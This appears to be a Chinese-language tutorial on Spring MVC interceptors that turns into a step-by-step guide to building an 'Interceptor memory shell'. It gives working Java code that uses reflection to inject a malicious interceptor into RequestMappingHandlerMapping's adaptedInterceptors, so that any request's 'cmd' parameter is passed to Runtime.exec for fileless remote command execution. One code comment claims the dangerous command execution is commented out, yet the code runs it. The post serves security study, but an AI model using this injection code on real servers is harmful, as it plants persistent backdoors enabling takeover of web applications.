1. 是什么?
Spring Interceptor 是 Spring MVC 框架提供的一个机制,用于在请求处理的特定阶段(如进入控制器方法前、渲染视图后等)执行自定义逻辑。它类似于 Servlet 的 Filter,但作用于更上层的 MVC 流程中,由 Spring 容器管理。
2. 核心接口:HandlerInterceptor
开发者需要实现org.springframework.web.servlet.HandlerInterceptor接口,并重写以下三个方法:
preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
在控制器方法执行前调用。
返回值为boolean:
true: 继续执行后续的拦截器和控制器方法。
false: 中断流程,不再执行后续操作(通常在此处进行权限校验、日志记录、参数预处理等)。
postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView)
在控制器方法执行完毕后,但在视图渲染前调用。
可以对ModelAndView对象进行修改或添加额外数据。
afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
在整个请求完成(包括视图渲染)后调用。
主要用于资源清理工作,无论是否发生异常都会执行。
3. 注册与使用
通过实现WebMvcConfigurer接口并重写addInterceptors方法来注册拦截器:
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
// 添加自定义拦截器,并指定拦截路径
registry.addInterceptor(new MyCustomInterceptor())
.addPathPatterns("/api/**") // 拦截所有 /api/ 开头的请求
.excludePathPatterns("/api/public/**"); // 排除公共接口
}
}
4. 典型应用场景
身份认证与授权:检查用户登录状态和权限。
日志记录:记录请求信息、耗时等。
性能监控:统计接口响应时间。
跨域处理:统一设置 CORS 头。
参数预处理/后处理:如解密、加密、数据格式化。


Spring的版本不同, 内存马注入所依赖的类不同, 此处以2.4.2为例
在目录下新建类TestInterceptor实现HandlerInterceptor接口
package org.example.interceptordemo.demos.web;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
// 注释掉危险的命令执行代码
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
Runtime.getRuntime().exec(cmd);
}
return true;
}
}
package org.example.interceptordemo.demos.web;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/int");
}
}
新建类WebConfig类实现WebMvcConfigurer接口, 注册interveptor.
然后启动项目, 访问/int?cmd=calc就会弹出计算器.
在TestInterceptor类中打上断点,

启动项目后访问http://127.0.0.1:8080/int?cmd=calc, 然后开始调试,

查看他先前执行的堆栈.

点到DispatcherServlet中, 查看变量

mappedHandler中有我们注册的拦截器TestInterceptor
往上翻, 查看mappedHandler的定义和赋值, 分别在
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
................
HandlerExecutionChain mappedHandler = null;
................
mappedHandler = this.getHandler(processedRequest);
在赋值的位置再打一个断点, 重新启动项目访问路径继续分析

步入进去this.getHandler, 来到
@Nullable
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for(HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}
这段代码的作用是为HTTP请求找到合适的处理器(Handler):
遍历HandlerMapping列表:this.handlerMappings包含了所有已注册的HandlerMapping对象,这些对象负责将请求URL映射到具体的处理器方法。
查找匹配的处理器:对于每个HandlerMapping,调用其getHandler(request)方法尝试获取能够处理当前请求的处理器。
返回处理器执行链:如果找到合适的处理器,HandlerMapping会返回一个HandlerExecutionChain对象,其中包含了:
实际的处理器(Controller方法)
应用于该请求的所有拦截器(Interceptors)
短路返回:一旦找到匹配的处理器,立即返回,不再继续遍历其他HandlerMapping。
未找到处理器返回null:如果遍历完所有HandlerMapping都没有找到匹配的处理器,则返回null。
继续步入调式, 当执行到第五次循环的时候, 就会执行到AbstractHandlerMapping类的HandlerExecutionChain方法中的this.getHandlerExecutionChain这一步

步入getHandlerExecutionChain
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
for(HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
return chain;
}
这段代码的主要作用是为特定请求构建完整的处理器执行链,包括处理器本身以及适用的拦截器:
创建或转换 HandlerExecutionChain:
如果传入的 handler 已经是 HandlerExecutionChain 类型,则直接使用
否则,创建一个新的 HandlerExecutionChain 实例,并将 handler 作为处理器添加进去
添加适用的拦截器:
遍历所有适配的拦截器 this.adaptedInterceptors
对于 MappedInterceptor 类型的拦截器:
检查它是否适用于当前请求(通过 mappedInterceptor.matches (request) 方法)
如果匹配,则将其内部的实际拦截器添加到执行链中
对于其他类型的拦截器:
直接添加到执行链中(这些通常是全局拦截器)
返回完整的执行链:
最终返回一个包含了处理器和所有适用性拦截器的执行链
这段代码的核心就是chain.addInterceptor(interceptor) , 它的作用是将拦截器添加到处理器执行链中
查看adaptedInterceptors的类型
private final List<HandlerInterceptor> adaptedInterceptors = new ArrayList();
在 Interceptor 内存马攻击中,利用反射机制获取AbstractHandlerMapping中的私有字段adaptedInterceptors,并绕过访问控制(setAccessible(true)),将一个实现了HandlerInterceptor接口的恶意类实例直接添加到该列表中。由于该列表是所有请求共享的拦截器源,一旦注入成功,后续任意 HTTP 请求只要经过该 HandlerMapping 的处理流程,就会触发恶意preHandle方法,从而实现无文件落地的远程命令执行。
在一开始的调试中,

preHandle是被DispatcherServlet驱动的,中间经过了HandlerExecutionChain。
所以大致流程
DispatcherServlet → getHandler()
→ mapping.getHandler()
→ getHandlerExecutionChain()
→ 遍历 this.adaptedInterceptors 把每个 interceptor 加入 chain
DispatcherServlet → getHandler()
→ mapping.getHandler()
→ getHandlerExecutionChain()
→ 遍历 this.adaptedInterceptors 把每个 interceptor 加入 chain
## 编写内存马
### 前置了解
- #### 必须参与每一次请求处理
- 内存马不是一次性后门,而是**持久化监听机制**。
- 所以恶意逻辑必须在 **每个匹配的 HTTP 请求** 中被自动
- #### 必须进入 `HandlerExecutionChain`
- Spring MVC 在处理请求时,会为每个请求创建一个 `HandlerExecutionChain`。
- 这个链包含:
- 目标处理器(如 Controller 方法)
- 所有匹配的 `HandlerInterceptor` 拦截器
- 只有在这个链中的拦截器,才会被 `applyPreHandle()` 调用。
> 所以:**恶意拦截器必须出现在 `HandlerExecutionChain` 中**
- #### 必须在 `adaptedInterceptors` 中
- 查看 `AbstractHandlerMapping.getHandlerExecutionChain()` 源码:
```java
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = ...;
for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
chain.addInterceptor(interceptor);
}
return chain;
}
```
关键点:
- `this.adaptedInterceptors` 是拦截器的**唯一来源**
- 它是一个 `List<HandlerInterceptor>`,存储了所有注册的拦截器
- 所有请求都会遍历它,把里面的拦截器加入当前 `chain`
> 所以:**只要你的拦截器在 `adaptedInterceptors` 里,就会自动进入每一个 `HandlerExecutionChain`**
- #### 必须拿到持有它的实例
- `adaptedInterceptors` 是 `AbstractHandlerMapping` 的 **`protected final` 字段**
- 虽然不能重新赋值,但其内部的 `List` 是可变的(`ArrayList`),可以 `add` 元素
- 但你必须先拿到 **那个正在被使用的 `HandlerMapping` 实例**
而在标准 Spring Boot 应用中:
- 处理 `@Controller` 和 `@RequestMapping` 的是 `RequestMappingHandlerMapping`
- 它继承自 `AbstractHandlerMapping`,因此持有 `adaptedInterceptors`
- 它是 Spring 自动创建并注册的单例 Bean
- 几乎所有动态请求都会经过它
> 所以:**必须获取 `RequestMappingHandlerMapping` 实例**
- #### 必须通过 `WebApplicationContext`
- 攻击者处于一个“外来代码执行”环境(如反序列化、SpEL 注入)
- 他无法直接new RequestMappingHandlerMapping() —— 因为:
- 这个 Bean 有复杂的依赖(如 `ContentNegotiationManager`)
- 即使 new 出来也不会被 `DispatcherServlet` 使用
- 唯一可靠的方式是:从 Spring 容器中取出 **正在运行的那个实例**
而 `WebApplicationContext` 正是:
- Spring Web 应用的**根容器**
- 管理所有 Bean 的生命周期
- 提供 `getBean(Class)` 方法来获取指定类型的 Bean
所以:
```Java
WebApplicationContext context = ...; // 获取上下文
RequestMappingHandlerMapping rmhm =
context.getBean(RequestMappingHandlerMapping.class); // 取出真实实例
所以:必须先获取
WebApplicationContext,才能拿到RequestMappingHandlerMapping
+-----------------------------------------------------------+
| 攻击者触发漏洞 |
| |
| (例如:反序列化、SpEL 注入等) |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 进入 HTTP 请求处理线程 |
| |
| (具备 Request 上下文) |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 获取 WebApplicationContext 实例 |
| |
| 通过 RequestContextHolder.currentRequestAttributes() |
| 和 getAttribute("org.springframework.web.servlet. |
| DispatcherServlet.CONTEXT", 0) 获取上下文 |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 从容器中获取 RequestMappingHandlerMapping 实例 |
| |
| context.getBean(RequestMappingHandlerMapping.class) |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 反射访问 adaptedInterceptors 字段 |
| |
| Field field = AbstractHandlerMapping.class.getDeclaredField|
| ("adaptedInterceptors"); |
| field.setAccessible(true); |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 修改 List<HandlerInterceptor> interceptors |
| |
| List<HandlerInterceptor> interceptors = |
| (List<HandlerInterceptor>) field.get(rmhm); |
| interceptors.add(new MaliciousInterceptor()); |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 恶意拦截器已成功注入到全局拦截器列表 |
| |
| 此时,所有匹配该 HandlerMapping 的请求都会经过 |
| 包含恶意拦截器的 HandlerExecutionChain |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 用户发起任意 HTTP 请求(如 /index.html?cmd=whoami) |
| |
| 触发 DispatcherServlet.doDispatch() |
| → mapping.getHandler(request) |
| → getHandlerExecutionChain() |
| → 遍历 this.adaptedInterceptors |
| → chain.applyPreHandle() |
| → 触发 MaliciousInterceptor.preHandle() |
| → 执行命令(如 Runtime.exec(cmd)) |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 命令执行结果返回给攻击者 |
| |
| (例如:弹出计算器、回显系统命令输出等) |
+-----------------------------------------------------------+
package org.example.interceptordemo.demos.web;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;
@RestController
public class InterceptorShell implements HandlerInterceptor {
@RequestMapping("/inject")
public String inject() {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = null;
if (context != null) {
r = context.getBean(RequestMappingHandlerMapping.class);
}
try {
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(r);
list.add(new TestInterceptor());
} catch (NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
return "inject success";
}
public static class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return HandlerInterceptor.super.preHandle(request, response, handler);
}
}